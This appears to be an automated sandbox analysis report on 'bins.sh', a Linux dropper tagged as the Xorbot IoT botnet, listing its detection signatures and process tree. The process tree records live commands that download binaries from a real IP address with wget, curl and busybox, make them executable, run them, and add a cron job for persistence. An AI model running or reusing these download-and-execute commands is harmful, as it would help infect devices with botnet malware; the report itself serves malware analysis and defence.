Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20250619-en
  • resource tags

    arch:armhfimage:debian9-armhf-20250619-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    10/09/2025, 03:15

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250910-dsawbatyb1
  • SHA256 a162fecce63df7003fb3c3fe3e6acdfd0f93903750fd8b0a70ef1369b3bbfd12
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
antivmbotnetdefense_evasiondiscoveryexecutionxorbotpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1094) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Unexpected DNS network traffic destination 24 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:659
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:665
      • /usr/bin/wget
        wget http://178.16.54.252/bins/TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6
        2⤵
        • Writes file to tmp directory
        PID:668
      • /usr/bin/curl
        curl -O http://178.16.54.252/bins/TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:689
      • /bin/busybox
        /bin/busybox wget http://178.16.54.252/bins/TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6
        2⤵
        • Writes file to tmp directory
        PID:700
      • /bin/chmod
        chmod 777 TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6
        2⤵
        • File and Directory Permissions Modification
        PID:713
      • /tmp/TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6
        ./TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6
        2⤵
        • Renames itself
        • Reads runtime system information
        PID:714
        • /bin/sh
          sh -c "crontab -l"
          3⤵
            PID:717
            • /usr/bin/crontab
              crontab -l
              4⤵
                PID:719
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:721
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:723
            • /bin/rm
              rm TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6
              2⤵
                PID:744
              • /usr/bin/wget
                wget http://178.16.54.252/bins/c2xCigpEc8gDaRVh7EZSlV0MI6fxccCwu0
                2⤵
                  PID:747
                • /usr/bin/curl
                  curl -O http://178.16.54.252/bins/c2xCigpEc8gDaRVh7EZSlV0MI6fxccCwu0
                  2⤵
                  • Checks CPU configuration
                  PID:748

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

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                    Downloads

                    TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6
                    • Path /tmp/TaxCSnRW8vxZU634SWHtrjvJlTRC2lZ5X6
                    • Size 127KB
                    • SHA256 dfd830368724f6abcc542bc8b85e3d5fa2aedf8282d3805d0d6d53f45c7e0937
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    tmp.FPsYx1
                    • Path /var/spool/cron/crontabs/tmp.FPsYx1
                    • Size 210B
                    • SHA256 e2359f1a2713238834a7d63a6c4b51622a473341aedfe10338a48c85f95238bf
                    • MD5 SHA1 SHA512
                    Submit Download